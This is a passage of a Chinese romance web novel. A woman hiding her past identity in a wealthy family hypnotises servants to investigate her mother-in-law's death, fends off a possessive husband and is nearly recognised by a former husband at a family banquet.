沈错垂着眉眼,抖落烟灰,回道:“不用了。” 他知道是谁。 这么惦记他老婆的人还能有谁? “少爷别生气,从信息上看,少夫人并没有背叛您。” 沈错单手搭在沙发外侧,闭着眼,浑身被烟草的气息包围。 他绷着嘴角,沉冷的眼底闪过一丝怒气,呵斥道:“不要把背叛这种词,用在她身上!” “对不起少爷!” 没人敢说话了,室内静默的可怕。 沈错睁开眼睛,眼尾泛着一抹红,眸子冷得像块冰。 回想这些天的事情,他可以肯定...... 徐幼蓝跟周正安肯定有旧。 之前认识也没什么,但为什么要隐瞒。 既然隐瞒,那就说明两人以前肯定不是普通关系。 沈错越想越烦闷,眼底的躁意越来越浓,想要破坏和摧毁的欲望瞬间攀到了顶峰。 “砰!” 他一拳砸碎了玻璃茶几,无数细小而锋利的碎片扎进肉里,刮削的疼痛像电流一样蔓延全身。 随后,他面无表情地开始砸一切能砸的东西。 等他回过神的时候,室内已经一片狼藉。 沈错低头看着血迹斑斑的手,轻轻叹了口气。 他的情绪又失控了。 “少爷,周正安刚刚取消了飞机航班,这会正在跟老爷子喝茶。” “少爷,那个逃跑的女佣有下落了。” 两条消息,一前一后传进沈错的耳朵里,他没有说话,低头处理伤口。 过了一会,他缠好绷带,起身披上风衣,眼底闪过一抹杀意: “先抓人。” 另一边。 菘蓝也听说了周正安取消飞机航班的消息。 早上她听说周正安要回青州,心头大大松了口气。 结果没开心多久,又收到了这么糟心的消息。 菘蓝没好气地吐槽了一句:“他这么闲的吗?家里的生意不管了?” 佣人:“哦,少夫人,听说周家表叔要在海都定居,在海都买了房产,还把一些重要项目牵了过来。” 听完,菘蓝头都大了。 他还要在海都定居!? 佣人继续道:“周家表叔是在附近买的房产,今天就会搬出沈园。” 菘蓝深呼吸了一口气,努力平复内心抓狂的情绪。 好消息,周正安终于走了。 坏消息,他成了她邻居! 简直要了命了。 她必须早点查清沈夫人的事情,这沈园她一刻也不想待了。 她已经想好了,等查清沈夫人的事情,她立马假死逃离这里。 她要跟海都这个鬼地方说拜拜! 菘蓝回屋换了一身衣服,准备出去走走,沈园太大了,她逛了两天都没逛完。 这两天,她在沈园也没发现什么可疑的地方。 看到菘蓝要出门,年轻的女佣连忙放下手中的活,问道:“少夫人,您要出去吗?” 菘蓝:“嗯,我出去走走。” 女佣:“那我跟您一起。” 菘蓝眉心微蹙,“不用,我想一个人。” 有人跟着,她不好做事。 女佣露出为难的神情,说道: “少夫人,少爷吩咐了,您出行,身边必须要有人陪着。” 接下来,无论菘蓝走到哪,女佣就跟到哪, 寸步不离。 菘蓝有点烦,故意在园里绕来绕去,然后走到一个偏僻的凉亭,假装坐下休息。 她朝女佣招了招手:“我渴了,你去给我泡壶茶。” 菘蓝想着,等支开女佣,她就可以单独行动了。 结果,女佣却说道:“少夫人,少爷说了,你身边必须要有人陪着,我现在打电话给后厨,让他们送些茶水过来。” 菘蓝冷着脸,有些不高兴道: “你们这样,让我很不自在。” 女佣低着头道:“抱歉,少夫人,少爷也是为你好,他是担心你,害怕又出什么意外。” 菘蓝:“算了,我不喝了,你也别打电话了,我坐会就回去了。” 女佣:“好的,少夫人。” 自从上次的事情过后,水云居换了一批佣人,这些佣人对沈错都是忠心耿耿。 她们只会执行沈错的命令。 菘蓝也知道说不通,她把手伸进衣服口袋,掏出一块造型古朴的怀表。 咔哒一声,怀表弹开,怀表的指针开始转动,发出哒哒哒的声响。 菘蓝看向一旁的女佣,用一种很轻柔的声线道:“我怀表的时间好像不对,你来看看。” 听到这话,女佣侧过身子,凑到菘蓝面前,低头看向她手心里的怀表。 “咔哒.....咔哒......” 指针转动,不紧不慢的节拍像鼓点一样敲进女佣的耳朵。 女佣:“少夫人,时间是对的呀。” “不对,你再仔细看看呢.....” 菘蓝的声音很轻很轻,像梦中低喃的絮语。 女佣眼睛眨也不眨地盯着指针,她的目光随着指针的转动而转动。 “你放缓呼吸,仔细听一听,这指针的节拍是不是时快时慢,忽急忽缓.....” 菘蓝的低喃仿佛有一种魔力,让女佣紧绷的神经瞬间舒缓。 慢慢的。 女佣的目光开始涣散,失去焦点。 她感觉天在变高,地在变远,周围的一切都开始变得模糊、遥远。 “滴答....滴答.....滴答滴答......” 指针一点点挪动,女佣的头渐渐低垂。 她双目迷离,唇角松弛,整个人处于一种顺从的状态。 看到女佣的样子,菘蓝唇角露出一个满意的微笑。 她声音极轻: “你现在很疲惫了,需要好好睡上一觉。” 第三十章 臭脸和臭不要脸 催眠很成功。 女佣已经趴在石桌上睡着了。 菘蓝收起怀表,转身离开了凉亭。 这个催眠术是她跟一个心理医生学的,她的怀表也是特制的,没有经过特殊训练的人很容易中招。 甩掉了女佣后,菘蓝朝沈园的暖房花园走去。 她上次游园的时候,听说暖房花园的老园丁,在沈家做了二十多年的工。 沈夫人一直是沈园的禁忌话题,年轻的佣人基本都没听说过当年的事情。 她想要调查,只能从沈园的老人入手。 暖房花园。 老园丁坐在花坛的瓷砖上,双目涣散,身体松弛地靠在墙边。 特制怀表发出咔哒咔哒的声音。 菘蓝用一种很轻很柔的声线问道: “老人家,你在沈园工作多少年了?” 老园丁喃喃道:“25....25年了.....” 菘蓝又问:“沈园以前也有暖房花园吗?” 老园丁眼底掠过一抹恍惚,回答道:“没有,园里以前没有暖房,那时候......” 菘蓝的问题让老园丁自然而然陷入了回忆。 两人就好像在叙旧,在重温二十年前的旧时光。 从前的房子,从前的花园,从前的人..... 菘蓝:“你还记得沈夫人吗?” 老园丁:“记得....夫人最喜欢荷花.....” 菘蓝循循善诱:“那沈夫人现在在哪里?” 老园丁:“夫人....夫人不在了.....死了.....” 菘蓝继续追问:“夫人是怎么死的?她的墓地在哪?” 老园丁:“夫人是生病死的,骨灰撒到了河里。” 听闻,菘蓝目光闪了闪,又问道:“沈家还有哪些像你这样的老人?” 老园丁:“还有......” 没人能在被催眠的状态下撒谎,但每个人的答案可能都不一样。 一个故事往往有很多版本。 你的版本,他的版本,真实的版本。 所以,她还要询问更多的人,一点点探查事情的真相。 菘蓝看了一眼时间,女佣差不多该醒了,她要赶紧回去。 十分钟后。 菘蓝回到了凉亭。 过了一会,女佣醒了过来,她茫然地看了一眼天色,嗫嚅道: “少夫人,我刚刚.....不会是睡着了吧?” 菘蓝笑了笑:“阳光照得人舒服,我刚刚也打了个盹。” 女佣已经不记得怀表的事情了,她只记得自己当时越来越困,眼皮越来越重,然后趴在桌子上睡着了。 “对不起,少夫人,是我的失职.....” 女佣红着脸,连连道歉。 菘蓝站起身,温声道:“没事,你们也很辛苦。” 女佣紧紧攥着裙角,心里暗暗想着。 少夫人真好呀,又温柔又体贴。 回水云居的路上,菘蓝看到几个佣人在帮周正安往外运行李。 周正安在沈园附近买了一套别墅,他上车的时候,正好看到了迎面走来的菘蓝。 两人的目光撞到一起,菘蓝慌忙偏头错开。 菘蓝躲避的眼神,让周正安有种说不出的难受。 他心心念念的人,明明近在咫尺,却远在天涯。 “哟,表叔这是要走了?” 一道讥诮凉薄的声音在两人身后响起。 菘蓝回头一看,看到沈错站在不远处的花架下,似笑非笑地盯着周正安。 周正安压下心头的情绪,冲着沈错轻轻点了点头,语气温和道: “嗯,我在海都买了房子,今天搬过去,你们有空来玩。” 沈错唇角漾开笑意,“好的,一定。” 一定不会去。 眼看周正安坐上车子,菘蓝心里松了口气。 悬在脖子上的绳套终于摘掉了。 周正安出去住,总比在沈园要好,省得她天天到处躲。 沈错看到菘蓝的目光一直在周正安身上,心里很不爽。 他走到菘蓝身边,伸手箍住她的腰,在她耳畔笑嘻嘻道: “老婆,分别了一天,有没有想我.....” 沈错的手劲有点大,菘蓝皱了皱眉:“你轻点,弄疼我了。” 沈错眸光闪了闪,他松了几分力道,用周正安刚好能听到的声音道: “好的老婆,我在床上也轻一点。” 菘蓝瞪着眼睛,不可思议地看着沈错。 这.....这人在说什么! “老婆,你真可爱。” 沈错勾唇一笑,趁菘蓝不注意,在她的脸上落下轻轻一吻。 看到这一幕,坐在车里的周正安用力攥紧了手心。 “开车....” 周正安声音发哑,隐隐藏着怒意。 尽管心里很难受,但他现在也做不了什么。 她选择留在沈园肯定是有原因的。 他现在需要做的,就是尽快查清她的真实身份,以及嫁到沈家的目的。 在沈错看不见的角度,周正安冲着菘蓝做了个口型。 “有事找我。” 看到周正安的口型,菘蓝目光一顿,心头涌上一种说不出的感觉。 说实话,她这个前夫还不错。 情绪稳定,成熟多金,会站在别人的角度,替别人考虑很多事情。 “在想什么?” 沈错发现菘蓝在走神,伸手捏起她的下巴,语气带着点醋味。 菘蓝一低头,这才发现沈错手上缠着绷带。 “你手受伤了?” 听到菘蓝语气里细微的关心,沈错嘴角轻轻上扬。 “是呀,手伤了,好痛的,要老婆吹一吹。” 菘蓝:“........” “你的手还是疼着吧。” 菘蓝推开沈错,转身离开,沈错笑了笑,又像牛皮糖一样跟了上去。 没走两步,菘蓝停下,板着小脸,用很严肃的语气告诫道: “对了,我这个人喜欢自由,不喜欢被人跟着,你不要派人监视我了。” 现在周正安走了,她不需要避着谁了,正是着手调查的好时机。 沈错又派人跟着她,她不好做事。 看着菘蓝板着小脸气呼呼的样子,沈错觉得很可爱,但又不想真惹她生气,连忙道: “我那不是监视,是保护!” 菘蓝臭着脸,加快速度甩开沈错,嫌弃道: “我不需要你保护!你也别跟着我了!” 沈错嘴角扬起一抹宠溺又无奈的笑。 “好好好,我不派人跟着你了,那你让我跟着,行不行?” “不行!” 花园里,两人一前一后,一个臭着脸,一个臭不要脸。 第三十一章 第二任前夫 菘蓝在前面走,沈错小心翼翼地跟在后面。 过了一会,沈错的手机响了。 电话那头道:“少爷,那个女佣招了,想要伤害少夫人的是.....” 听完,沈错眼神暗了暗,低声道:“我现在过去.....” 随后,他追上菘蓝,伸手捏了捏她的小脸: “老婆,我有点事,晚上回来陪你,不要生气哦。” 菘蓝别开脸,心底一阵冷笑。 呵呵,怕是外面的心上人等急了吧。 她不再冷着脸,抬眸看向沈错,放缓了语气,假装体贴道: “那你去忙吧,工作要紧,只是别让人跟着我了,有人跟着我,我感觉像被监视了一样,很不舒服。” 说完,她伸手帮沈错理了理领带。 沈错心头一暖,点头答应:“好!” 然而。 沈错嘴上答应给菘蓝自由,不再派佣人跟着她,却安排了保镖暗中跟护。 明的不行他就来暗的。 但他没想到,菘蓝很敏锐。 菘蓝很快就发现,无论自己去哪,后面都有人悄悄跟着。 她佯装生气,摆出大小姐的气势,冲着空无一人的身后喝道: “你们别再跟着我了!很招人烦!” 暗中跟护几个保镖面面相觑,他们不知道自己是怎么暴露的。 但是也不敢应声。 园子里静悄悄的,风吹过枝条,叶子相互摩擦,发出沙沙的声响。 菘蓝冷着脸,转身回了水云居。 她一回去,就把门反锁了。 深夜。 沈错回来,推了好几次门,发现门纹丝不动。 他站在院子里,无奈地笑了两声。 好家伙,这女人,现在连门都不让他进了。 “少爷,少夫人让你晚上睡外面,不让我们给你开门。” 门内的女佣很是为难,这门开也不是,不开也不是。 开了门,得罪少夫人。 不开门,得罪少爷。 哪个都不敢得罪。 门外的沈错叹了口:“行吧,那我走。” 过了一会。 主卧的阳台上出现了一个身影。 某个翻墙爬上来的男人,屈膝靠在栏杆上,肩头落了一身寒霜。 他两三下拧断门锁,悄悄推门而入。 菘蓝已经睡着了,她蜷缩在床边,长长的黑发一直垂到地毯上。 看着酣睡的菘蓝,沈错低低笑了,他轻轻揽起菘蓝的秀发,撩到她脸侧,然后掀开被子,在她身旁躺下。 他不敢抱菘蓝。 一是害怕把她吵醒,二是他刚从外面回来,身上有寒气,怕冻着她。 睡梦里。 菘蓝梦到自己捡到了一只冻僵的小狗,抱在怀里捂了很久才把它身体捂热。 第二天清晨。 半睡半醒间,菘蓝感觉自己的头发被压住了。 她皱了皱眉,睁开眼睛一看,发现自己竟然睡在沈错怀里。 菘蓝的脸瞬间冷了下来,眼神很是嫌弃。 这人怎么进来的? “喂!你起开!” 菘蓝像一只炸毛的猫咪,狠狠拧了一下沈错的腰。 沈错疼得闷哼了一声,睁开一只眼。 他一睁眼,就看到菘蓝用气鼓鼓的眼神看着她,像一只臭脸小猫。 “怎么啦老婆?” “你起开,你压到我头发了!” “哦....” 沈错连忙挪开胳膊。 “谁允许你上我的床了?给我滚下去!流氓!” 菘蓝拿起抱枕,冲着沈错那张俊脸哐哐乱砸。 什么人啊,一个晚上,从一个女人的被窝耍到另一个女人的被窝。 她嫌脏! 沈错单手护着脸,躲避菘蓝的攻击,有些委屈道:“我们是夫妻,为什么不能睡一张床?” 菘蓝双手叉腰,神情娇纵蛮横: “我不是说过了,我不习惯跟别人睡在一起!你给我下去!” 沈错觉得张牙舞爪的菘蓝很可爱,他一点也不生气,单手将她拉进怀里,声音微哑道: “那你从今天习惯习惯?有些事总要开始习惯的。” 沈错含情脉脉地看着菘蓝,声音有点蛊。 菘蓝不吃他那一套,狠狠瞪了他一眼,“我要回家。” 沈错愣了一下,“回家干什么?” 菘蓝昂着头,“你欺负我,我要回娘家。” 沈错有点委屈:“我哪欺负你了?” 菘蓝紧紧攥着床单,一双琉璃杏眼蓄着雾气,带着一丝哭腔道: “你没经过我同意,半夜偷偷爬我的床,一点也不尊重我! 你还骗我!答应给我自由,结果偷偷让人跟着我!监视我! 你还说你没有欺负我!” 沈错被怼的哑口无言。 菘蓝披散着头发,眼眶红红的委屈模样,让沈错胸口泛起一阵痛意。 他低着头,眼底闪过一抹歉意:“对不起,老婆我错了,我向你道歉,我以后再也不这样了。” 菘蓝揉了揉红红的眼眶,吸了吸鼻子:“我现在不想看到你,你滚!” 沈错无奈起身:“好好好!我走我走!” 咔哒一声。 卧室的门关上,沈错离开了房间。 菘蓝眼泪一收,重重躺回到床上,看着天花板,幽幽叹了口气。 唉,好累,一大早就要开始演戏。 ** 沈错这一次果然说话算话。 他撤掉了所有保镖,不再让任何人跟着菘蓝。 只是,出入沈园的人,盘查更加严格了。 菘蓝很早就出了门,她站在走廊里,摸了摸口袋里的怀表,眼底精光微闪。 现在,她方便行动多了。 她今天的目标是一个老厨娘。 这个老厨娘曾在沈夫人身旁做贴身女佣,一定知道很多沈夫人的事情。 沈园分为内园和外园,沈家亲系和宾客住在内园,佣人都住在外园。 菘蓝选了条僻静的小道,直奔老厨娘的住处。 然而,她没想到,她刚走出内园,就看到一群保镖簇拥着一个人走了过来。 那人坐在轮椅上,秀丽的长发垂在胸前,一张脸漂亮的不像话。 菘蓝怎么也没有想到,她会这样撞上白楚年。 猝不及防,没有任何准备。 两人中间只隔了一道穿花门,你看着我,我看着你,遥遥相对。 菘蓝脑瓜子嗡嗡的。 完了,她第二任前夫也找上门了! 与此同时。 白楚年也盯着菘蓝看,他双眉微微蹙起,扶在轮椅上的手悄然攥紧。 这女人,怎么这么像他的婉婉。 第三十二章 你方唱罢我登场 菘蓝穿着贴身的米色毛衣裙,柔美的身体曲线被勾勒的淋漓紧致。 她头发松散地挽在一侧,给人一种温柔慵懒的感觉,人妻感十足。 白楚年眼底掠过一抹恍惚,目光像钉子一样定在菘蓝身上。 看到白楚年,菘蓝的心跳顿时漏了半拍,但脸上并没有露出慌张的表情。 因为她当时顶替李婉嫁进白家的时候化了仿妆。 李婉小时候被火烧伤,右半张脸全是狰狞的伤疤。 为了遮挡疤痕,李婉一直留着黑长直的公主切发型,她的额头和两鬓都被刘海遮着,很难看清容貌。 菘蓝顶替李婉的时候,剪了同款发型,并在脸上化了一模一样的疤。 靠着以假乱真的仿妆,她把自己变成了“李婉”。 白家和李家是商业联姻,白楚年和李婉也没见过几面,所以她轻轻松松顶替李婉嫁进了白家。 直到假死逃离,她都没有被拆穿身份。 一想到自己已经换了脸,菘蓝心里也镇定了几分。 况且“李婉”已经死了,白楚年也不可能把她跟李婉联系在一起。 于是,菘蓝镇定自若地看向白楚年,主动跟他打招呼: “我好像在婚礼上见过你,你是白家的少爷?” 听到菘蓝的声音,白楚年的思绪瞬间从回忆中拉了回来。 他眉头微微拧起,有些疑惑地看着菘蓝。 眼前女人的身形跟婉婉真的太像了。 她的肩线、腰线、胸部的曲线,给他一种十分熟悉的感觉,跟他记忆中的身影高度重叠。 但是,声音却不像。 仔细一看,眉眼也不像。 看了片刻,白楚年的目光从菘蓝身上移开了。 白楚年轻轻点了点头:“你是沈家的少夫人吧,我们在婚礼上见过。” 那天在婚宴上,他见过她,只是当时看不清脸,只觉得她的身形跟婉婉很相似。 现在近距离一看,两人的身形果真很像。 他的婉婉脸上虽然有伤疤,可身段极好。 菘蓝看着白楚年,落落大方地问道:“听说你是沈错的发小,所以你是来找他的?” 白楚年回应道:“不,我是受你们家老爷子的邀请,来沈园做客的。” 听完,菘蓝微微凝眸,心里敲起了小鼓。 沈老爷子邀请白楚年来沈园干什么? 他该不会也要在沈园住一段时间吧? 菘蓝的心瞬间提到了嗓子眼,试探性地问道:“那你在海都的住所有没有安排好呀?” 白楚年:“嗯,已经安排好了,就在沈园的观云轩。” 菘蓝悬着的心一下子死了。 他还真要住下! 要命了,刚刚走了一个周正安,现在又来了一个白楚年! 菘蓝没心情再聊下去,客套了几句,便匆匆离开了。 看着菘蓝渐行渐远的背影,白楚年又是一阵恍惚。 太像了,她和婉婉的背影几乎一模一样。 这个女人虽然长得不像婉婉,声音也不像,但给他的感觉,却是如此的熟悉。 ** 菘蓝回到水云居没多久,沈错也回来了,还带回来几条礼裙。 这些礼裙是他给菘蓝定制的。 沈错挑了一条绿色的,笑嘻嘻道:“老婆,穿上试试?” 菘蓝没理他,只是问道: “我今天在园子里看到你发小了,你不是跟他不对付吗?怎么还请他来家里做客?” 沈错:“是老爷子邀请他来的,老爷子想给他做媒。” 菘蓝拧了拧眉:“做媒?跟谁?” 沈错:“我堂伯父的女儿,沈佳,对了,今晚,老爷子在园里设了宴席,点名让你去。” 菘蓝很是疑惑,“让我去干嘛?主场不应该是白楚年和沈佳吗?” 沈错:“你嫁进来之后,都没跟家里人吃过几次饭,爷爷想见见你呗。” 菘蓝:“哦,那我准备准备。” 说完,她觉得有点不对劲,转身看着沈错:“不对啊,你不是最讨厌家族聚会嘛,你怎么不拒绝?” 沈错拉着菘蓝的手,笑道:“如果是我一个人,我就不去,可我现在有了你,那我就要去,我要去秀恩爱!” 菘蓝:“.........” “秀恩爱死得快!” “不准说这么不吉利的话,过来,我要惩罚你。” “滚!” 一想到晚宴,菘蓝就觉得很头疼,她是真的不想看到白楚年。 白楚年那个死狐狸,多智近妖,眼光十分毒辣。 在白家生活的那段时间,她一直小心翼翼,生怕露出任何破绽,神经都是紧绷的。 现在没想到,她都死遁逃出白家了,还要跟白楚年打交道。 “老婆,你今天晚上穿这条裙子,很衬你的肤色,绝对能艳压全场。” 沈错从背后环住菘蓝的细腰,把下巴放在她的肩窝,语气里满是央求。 像一只摇着尾巴的大金毛。 菘蓝已经对沈错的黏人有点免疫了,她转头看了一眼沈错挑选的礼裙,随后皱了皱眉。 那是一件版型很好看的绿色露背绸缎礼裙。 裁剪很到位,做工也很精细,一看就价格不菲。 只是..... 菘蓝想了想:“能不能换一件?” 沈错:“你不喜欢这一件?我觉得这个颜色很衬你呀。” 菘蓝:“.........” 这个颜色是很衬她,她以前在白家天天穿绿色的裙子。 因为白楚年很喜欢绿色。 他给她订做了很多条绿色的裙子,深绿色的、湖绿色的、草绿色的....... 不行,她不能在白楚年面前穿绿色裙子,她可不想找麻烦。 本来她的身形就很容易引起怀疑。 菘蓝看着沈错,很认真道:“你换一件吧,我觉得这个颜色不好看。” 本来你头上就有点绿绿的..... 沈错主打一个言听计从,麻溜地挑了一件香槟色的晚礼服,“那穿这一条,这一条你穿上也好看!” 菘蓝看了眼那条香槟色的礼服。 不得不说,沈错的眼光还是很不错的,他挑的裙子都很好看。 “好吧,那就这一件。” 菘蓝拿起礼服,便准备进屋换衣服。 结果她一回头,发现沈错也跟了进来。 菘蓝拧眉:“你进来干什么?” 沈错很一本正经道:“我帮你拉拉链。” 第三十三章 人死了,他爱上了 晚宴设在沈园的迎松楼,迎松楼是沈家专门宴请宾客的地方,中式风格的楼阁,古色古香。 但是距离水云居有一段距离,需要坐车前往。 二十分钟后。 沈错挽着菘蓝下了车。 菘蓝出现后,全场的目光都汇聚了过来。 她的样貌和身材太过惹眼,肌肤如雪,身段窈窕纤细。 香槟色的裙摆上缀满了金珠,行走间,裙摆摇曳,整个人散发着金闪的浮光。 白楚年的目光落在菘蓝身上,久久无法移开。 他觉得,她穿绿色的裙子应该会更好看。 菘蓝发现白楚年在看她,并没有回避,很礼貌地回了个微笑。 随后,她看向了宴会的女主角——沈佳。 沈佳是沈错的堂妹,长相很清纯,但她没有化妆,安安静静地坐在人堆里,不怎么起眼。 她一直低垂着头,给人一种清冷疏离的感觉。 菘蓝眯了眯眼。 士为知己者死,女为悦己者容。 堂妹连妆都没化就来了,估计对这门婚事并不赞成。 不过,想想也是。 白楚年虽然是港城太子爷,长得也很好看,但却是一个瘫子,哪个女人愿意嫁给他守活寡。 当初李小姐不愿意嫁给白楚年,也有这方面的原因。 不过,只有她知道,白楚年其实没有瘫,他是装的。 菘蓝凑到沈错耳畔,低低道:“你堂妹好像对白楚年不满意呀。” 沈错嘴角扬起一抹笑意:“我猜也是。” 看到沈错扬起的嘴角,菘蓝白了他一眼:“ 你带我来,不会是来看热闹的吧?” 沈错很老实地点了点头:“没错。” 他可不会错过白楚年的热闹。 菘蓝:“........” 这人闲的。 菘蓝扫了一眼场上的人,发现除了白楚年,其余都是沈家的长辈。 “咦?沈大伯母和沈二伯母怎么没有来。” 菘蓝轻咦了一声。 听到菘蓝询问沈大伯母和沈二伯母,沈错眼底闪过一道冷光,语气淡淡道: “听说她们出了意外事故,现在在医院里躺着呢。” 菘蓝拧了拧眉,继续追问:“什么事故?” 沈错双手一摊,“这就不清楚喽~” 这一边,小两口在说悄悄话。 另一边,沈老爷子拉着沈佳的手,坐到了白楚年的身边。 白楚年眉眼瞬间一沉。 本来,他还不知道沈老爷子为什么邀他来做客,但现在他明白了。 沈老爷子一脸和蔼道: “楚年啊,你叔父前两天给我打电话,托我给你相门亲事,正好我们家佳佳单着,你们要不要认识认识?” 白楚年听完,看了一眼神色疏离的沈佳,很礼貌道: “沈爷爷,谢谢您老人家的好意,只是我身体残缺,不想任何人为我委曲求全。 况且,我的妻子才去世两年,我与她鹣鲽情深,我曾发誓不会再娶.....” 听到这话,菘蓝扯了扯唇。 呵呵..... 好一个鹣鲽情深。 她坟头草都两米高了,他还在装深情呢。 “这人挺装。” 菘蓝忍不住跟沈错吐槽。 沈错笑着应道:“是吧,你也看出来了,这人死装死装的。” 没有人想到白楚年会这么直接,场上的气氛有点尴尬。 菘蓝也没什么好说的,低头吹着勺子里的热汤。 随着动作,一缕发丝从耳畔滑落,菘蓝伸出左手,翘着小拇指,将发丝撩到了耳后。 看到这一幕,白楚年心头微微一动。 这女人给他的熟悉感,不仅仅是相似的身形带来的,还有那不经意间流露出的神态和姿势。 比如撩头发时微微翘起的小拇指..... 沈老爷子对白楚年的拒绝不置可否,他没继续撮合,也没有罢休的意思,只是道: “那这样吧,先吃饭,这事以后再说。楚年,你难得回一趟海都,就在沈园住一段时间吧。” 白楚年眼角的余光瞥向菘蓝,回答的干脆利索:“好啊!” 菘蓝喝汤的手顿住。 不是吧?这死狐狸还真在沈园住下了? 席间,沈错接了个电话,随后跟菘蓝说了声抱歉,就神色匆匆地离开了。 菘蓝也懒得问他去干啥。 那电话八成是沈错的心上人打来的。 她才懒得自讨没趣。 吃完饭,众人散去。 菘蓝下了楼,刚想要离开,就听到背后响起一阵轮子滚过地面的声音。 菘蓝脚步一顿。 白楚年跟过来干什么? “沈少夫人,请等一下。” 白楚年看着黑夜中的那道倩影,轻轻唤了一声。 菘蓝侧着身子看着他:“有事?” 白楚年拨动轮椅,行驶到菘蓝身边,眸色深沉地看着她道:“你,很像我认识的一个人。” 菘蓝心里咯噔一下。 明知故问道:“像谁呀?” 白楚年哽咽了一声,仿佛用尽了力气,才从喉咙中挤出一句话,“像,我的妻子......” 菘蓝歪了歪头,抚摸着自己的脸颊道:“可能我长得比较大众脸吧,之前也有很多人说我像谁谁谁。” 白楚年摇了摇头。 “不,不是脸,是身形相似,还有......” 菘蓝心中警觉,捏紧的指尖微微泛白,“还有什么?” 还有什么相像的地方,她立马改! 白楚年神情恍惚,眸色迷离,“是感觉,你给我的感觉很熟悉,很相像。” 菘蓝有点无语。 这她要怎么改。 菘蓝想了想道:“你应该是太思念她了,所以看谁都觉得像她。 但我觉得,你这样不好,你在别人身上找寻她的影子,她应该会生气。 全国十几亿人口,想找出跟您妻子容貌和身材相似的人不难,甚至会有很多。 但世界上没有两片相同的树叶,每个人都是独立的个体,没有人能真正代替谁。” 菘蓝的话让白楚年很难受。 是啊,他都知道啊。 可是.....他太想她了。 看着白楚年一脸痛苦的样子,菘蓝皱了皱眉。 这人什么情况? 菘蓝眸光流转,想了想又道:“你很爱你的妻子吗?” 白楚年缓缓点头:“爱!” 菘蓝心底冷笑。 呵,死狐狸装什么深情。 她在白家的时候,没有做过任何对不起他的事情,但他却对她一直心存猜忌,明宠暗虐。 人死了,他爱上了? 想到以前在白家替李小姐受的委屈,菘蓝看向白楚年,问了一句很戳他心窝的话。 “那她活着的时候,你对她好吗?” 第三十四章 没来得及好好爱她 白楚年微微偏过头,垂在袖中的手默默攥紧。 他先是点头,然后再摇头,用带着歉意的语气道: “我,还没来得及好好爱她.....” 男人眉心皱得厉害,眼中的愧色像沉沉雾霭,浓到化不开。 他的婉婉,是李家和白家利益斗争的牺牲品。 他一直以为她是李家的眼线,所以他对她的好,也不过是逢场作戏。 直到她死后,他才知道自己错得有多离谱。 夜色深沉,一抹云遮住了月光。 菘蓝站在榕树下,她眼底的嘲讽被树影遮得严严实实。 在白家的时候,她没有做过任何对不起白楚年的事情,可白楚年处处防着她,表面上爱她宠她,背地里屡次对她下手。 要不是她玩了一手死遁,现在坟头草都三米高了。 哗啦啦,起风了。 菘蓝的裙摆像一朵盛开的芍药,她纤细的腰身盈盈一握,如风摆柳。 白楚年一阵恍惚。 记忆中的身影与眼前的人开始重叠。 是她..... 他的婉婉...... 白楚年朝着前方伸出手,菘蓝微微皱眉,后退了一步,语气冰冷道: “白先生,请你自重。” 菘蓝冰冷的语气让白楚年瞬间清醒,他连忙带着歉意道: “抱歉,我刚才把你认成了我的妻子。” 菘蓝没有接话,拢了拢飞散的裙摆,淡淡道:“天色不早了,白先生早点休息。” 说完,她便提着裙摆离开了。 看着菘蓝渐行渐远的背影,白楚年俊美的脸上闪过一抹失落,喃喃道: “很像.....真的很像......” 白楚年身边保镖挠了挠头,不解道:“少爷,她跟夫人哪里像了。” 两个人完全两模两样。 白楚年默然不语。 她和婉婉虽然长得不一样,但某些时刻,看起来像极了。 菘蓝回到水云居后,佣人立马端上了宵夜。 佣人:“少夫人,天气寒,少爷特意吩咐我们煲了粥,让你晚上喝一点。” 菘蓝看了眼热气腾腾的海鲜粥。 粥底熬得浓稠绵密,白嫩的虾仁、干贝、生蚝和蟹膏蟹黄掺在一起,咕嘟咕嘟地唱着歌。 鲜甜的香味溢满了厅堂。 菘蓝坐到餐桌旁,舀了一勺粥,小口喝着。 粥的味道咸香鲜美,喝到胃里暖暖的。 佣人笑道:“少爷对夫人真好呀,我就从来没见少爷对谁这么上心,事事周道,无微不至,少夫人真是有福气。” 菘蓝心底冷笑了两声。 呵呵..... 心上人一个电话,他就屁颠屁颠地出去了。 他的好,还是留给别的女人吧。 她不稀罕,也没想要。 “美人婶婶,美人婶婶,我可以进屋找你玩吗!” 门外,响起一阵稚嫩的童音。 岁岁抱着一束花站在门口,歪着小脑袋好奇地往屋里看。 自从菘蓝上次救了岁岁,岁岁就成了她的忠实小迷妹。 天天追着她喊美人婶婶,小嘴像抹了蜜一样甜。 菘蓝朝岁岁招了招手:“进来呀。” 岁岁一听,眼睛瞬间眯成了小月牙,然后像小鸟一样扑进菘蓝的怀里。 “美人婶婶,岁岁好喜欢你呀。” 岁岁摇晃着小脑袋,在菘蓝怀里拱来拱去。 菘蓝忍不住伸手捏了捏岁岁的小脸。 小孩子的皮肤嫩得像奶豆腐,又软又滑,捏起来手感好极了。 菘蓝喜欢跟小孩子打交道。 不用刻意伪装,不用动脑筋周旋,跟小孩子在一起的时候,她会很放松。 “美人婶婶,坏蛋叔叔呢?他去哪里了?” 岁岁窝在菘蓝怀里,左看看右瞧瞧,小表情紧张兮兮的。 “怎么?岁岁这么怕他呀?” 菘蓝又用手指戳了戳岁岁的小脸蛋。 岁岁水汪汪的大眼睛瞪得溜圆,凑到菘蓝耳畔,小声道: “美人婶婶,我告诉你哦,坏蛋叔叔脾气超级坏的,他动不动就打人,岁岁不喜欢他。” 沈错脾气坏吗? 菘蓝回想了一下。 感觉他脾气也还好,反正对她并不坏,就是有时候很烦人。 “美人婶婶,你不要跟叔叔告状哦,不可以让他知道,我在背后说他坏话。” 岁岁仰着小脑袋,眼睛紧张地眨啊眨。 菘蓝摸了摸岁岁的小脑袋:“放心,婶婶不会告诉他的,这是我们之间的小秘密。” 岁岁笑眯眯地点了点头:“嗯嗯!美人婶婶真好!” 岁岁缠着菘蓝玩了很久,玩着玩着就困了,两只眼皮上下直打架。 菘蓝搂着岁岁,轻轻拍着她的背,顺口哼起了催眠曲。 “月儿明,风儿静,树叶儿遮窗棂......” 吴侬软语的小调穿过夜色,被风吹向远方。 菘蓝走后,白楚年并没有回去,他登上了与水云居相对而望的翠云楼。 歌声飘来的时候,他猛地回头,喃喃地哼出了下半句: “蛐蛐叫,风铃笑,娃娃儿快睡觉…...” 这首曲子,他再熟悉不过。 那时候,每天晚上,婉婉就是唱着这首歌,哄豆豆睡觉的。 他问过她,这是哪里的小调,她说是随口编的。 白楚年缓缓看向灯火通明的水云居,心跳逐渐加速,脑海里跳出一个几乎疯狂的猜测。 ** 